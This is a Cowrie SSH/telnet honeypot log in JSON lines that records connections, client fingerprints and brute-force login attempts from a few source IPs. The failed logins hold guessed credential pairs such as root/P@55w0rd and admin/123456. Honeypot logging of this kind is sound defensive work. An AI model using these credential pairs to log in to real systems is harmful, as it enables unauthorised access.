{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:40.396036Z","src_ip":"31.40.204.166","session":"9bc6b6579f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:40.595224Z","src_ip":"31.40.204.166","session":"9bc6b6579f54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:41.025241Z","src_ip":"31.40.204.166","session":"9bc6b6579f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:42.192272Z","src_ip":"31.40.204.166","session":"9bc6b6579f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42688,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ad144f12b5","protocol":"telnet","message":"New connection: 152.42.224.71:42688 (10.17.0.5:23) [session: 27ad144f12b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:43.721228Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59648,"dst_ip":"10.17.0.5","dst_port":23,"session":"9709428a3d59","protocol":"telnet","message":"New connection: 152.42.224.71:59648 (10.17.0.5:23) [session: 9709428a3d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:46.904772Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59650,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e3c86abd11e","protocol":"telnet","message":"New connection: 152.42.224.71:59650 (10.17.0.5:23) [session: 9e3c86abd11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:48.862862Z"}
{"eventid":"cowrie.session.closed","duration":42.902758836746216,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:52.160064Z","src_ip":"152.42.224.71","session":"b13634c5a09b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50086,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3521c29b53b","protocol":"ssh","message":"New connection: 31.40.204.166:50086 (159.203.135.109:22) [session: b3521c29b53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:52.530405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:52.553719Z","src_ip":"31.40.204.166","session":"b3521c29b53b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:52.695769Z","src_ip":"31.40.204.166","session":"b3521c29b53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:53.292543Z","src_ip":"31.40.204.166","session":"b3521c29b53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:54.612275Z","src_ip":"31.40.204.166","session":"b3521c29b53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.94242095947266,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:57.119790Z","src_ip":"152.42.224.71","session":"1f4b92c66e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50954,"dst_ip":"10.17.0.5","dst_port":23,"session":"b52f2ba7b773","protocol":"telnet","message":"New connection: 152.42.224.71:50954 (10.17.0.5:23) [session: b52f2ba7b773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:58.260342Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50958,"dst_ip":"10.17.0.5","dst_port":23,"session":"17870af4a1c4","protocol":"telnet","message":"New connection: 152.42.224.71:50958 (10.17.0.5:23) [session: 17870af4a1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:58.784274Z"}
{"eventid":"cowrie.session.closed","duration":15.892031192779541,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:02.796658Z","src_ip":"152.42.224.71","session":"9709428a3d59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b369094c5e","protocol":"telnet","message":"New connection: 152.42.224.71:50960 (10.17.0.5:23) [session: e8b369094c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:03.630964Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58444,"dst_ip":"159.203.135.109","dst_port":22,"session":"013512a3a350","protocol":"ssh","message":"New connection: 31.40.204.166:58444 (159.203.135.109:22) [session: 013512a3a350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:04.909781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:04.917230Z","src_ip":"31.40.204.166","session":"013512a3a350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:05.086659Z","src_ip":"31.40.204.166","session":"013512a3a350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.5","message":"Connection lost after 34.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:05.446860Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.174145221710205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:05.552549Z","src_ip":"152.42.224.71","session":"4ed1415a1042","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:05.713809Z","src_ip":"31.40.204.166","session":"013512a3a350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:06.906251Z","src_ip":"31.40.204.166","session":"013512a3a350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0047173500061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:10.230492Z","src_ip":"152.42.224.71","session":"1aed0af6768d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42880,"dst_ip":"10.17.0.5","dst_port":23,"session":"4074e77121ec","protocol":"telnet","message":"New connection: 152.42.224.71:42880 (10.17.0.5:23) [session: 4074e77121ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:10.798033Z"}
{"eventid":"cowrie.session.closed","duration":37.89408826828003,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:14.819561Z","src_ip":"152.42.224.71","session":"1468f65586ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.306718349456787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:15.027665Z","src_ip":"152.42.224.71","session":"27ad144f12b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42892,"dst_ip":"10.17.0.5","dst_port":23,"session":"06e80b2989f0","protocol":"telnet","message":"New connection: 152.42.224.71:42892 (10.17.0.5:23) [session: 06e80b2989f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:15.809309Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34106,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4215577b662","protocol":"ssh","message":"New connection: 31.40.204.166:34106 (159.203.135.109:22) [session: d4215577b662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:17.181909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:17.197185Z","src_ip":"31.40.204.166","session":"d4215577b662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:17.320539Z","src_ip":"31.40.204.166","session":"d4215577b662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:17.910592Z","src_ip":"31.40.204.166","session":"d4215577b662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:19.084965Z","src_ip":"31.40.204.166","session":"d4215577b662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.52584171295166,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:19.156646Z","src_ip":"152.42.224.71","session":"e8b369094c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55142,"dst_ip":"10.17.0.5","dst_port":23,"session":"021a8e55be68","protocol":"telnet","message":"New connection: 152.42.224.71:55142 (10.17.0.5:23) [session: 021a8e55be68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:19.170738Z"}
{"eventid":"cowrie.session.closed","duration":120.00169825553894,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:19.321944Z","src_ip":"152.42.224.71","session":"2b1057121dae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.59123229980469,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:22.453980Z","src_ip":"152.42.224.71","session":"9e3c86abd11e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":54458,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8ba011db3e5","protocol":"ssh","message":"New connection: 103.149.170.125:54458 (159.203.135.109:22) [session: b8ba011db3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:22.827446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:22.833369Z","src_ip":"103.149.170.125","session":"b8ba011db3e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:23.103244Z","src_ip":"103.149.170.125","session":"b8ba011db3e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"syncmaster","message":"login attempt [root/syncmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:23.918261Z","src_ip":"103.149.170.125","session":"b8ba011db3e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:25.190109Z","src_ip":"103.149.170.125","session":"b8ba011db3e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50144,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e787c59f9ab","protocol":"ssh","message":"New connection: 31.40.204.166:50144 (159.203.135.109:22) [session: 8e787c59f9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:30.081193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:30.088049Z","src_ip":"31.40.204.166","session":"8e787c59f9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:30.218013Z","src_ip":"31.40.204.166","session":"8e787c59f9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:31.285087Z","src_ip":"31.40.204.166","session":"8e787c59f9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:32.418997Z","src_ip":"31.40.204.166","session":"8e787c59f9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.6677770614624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:33.451908Z","src_ip":"152.42.224.71","session":"17870af4a1c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55464,"dst_ip":"10.17.0.5","dst_port":23,"session":"e02967900d02","protocol":"telnet","message":"New connection: 152.42.224.71:55464 (10.17.0.5:23) [session: e02967900d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:35.390280Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.168.107.151","src_port":50209,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a596f13a105","protocol":"telnet","message":"New connection: 31.168.107.151:50209 (159.203.135.109:23) [session: 2a596f13a105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:38.912725Z"}
{"eventid":"cowrie.session.closed","duration":119.55659508705139,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:40.941812Z","src_ip":"152.42.224.71","session":"d9df14da1418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40484,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c718770181c","protocol":"ssh","message":"New connection: 31.40.204.166:40484 (159.203.135.109:22) [session: 3c718770181c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:10:42.579911Z"}
